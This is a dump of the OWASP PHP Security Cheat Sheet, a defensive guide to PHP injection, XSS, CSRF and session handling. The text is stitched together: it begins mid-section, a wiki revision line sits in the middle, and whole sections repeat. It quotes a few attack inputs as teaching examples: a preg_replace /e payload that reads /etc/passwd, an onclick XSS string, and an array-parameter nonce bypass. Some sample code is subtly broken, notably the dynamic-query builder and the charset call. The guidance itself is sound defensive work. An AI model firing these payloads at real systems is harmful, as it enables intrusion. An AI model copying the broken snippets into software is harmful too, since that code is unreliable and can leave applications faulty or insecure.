
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

[mailto:L.Plant.98@cantab.net Luke Plant]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-10-30T08:20:46Z

Luke Plant: /* Sources of Taint */

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

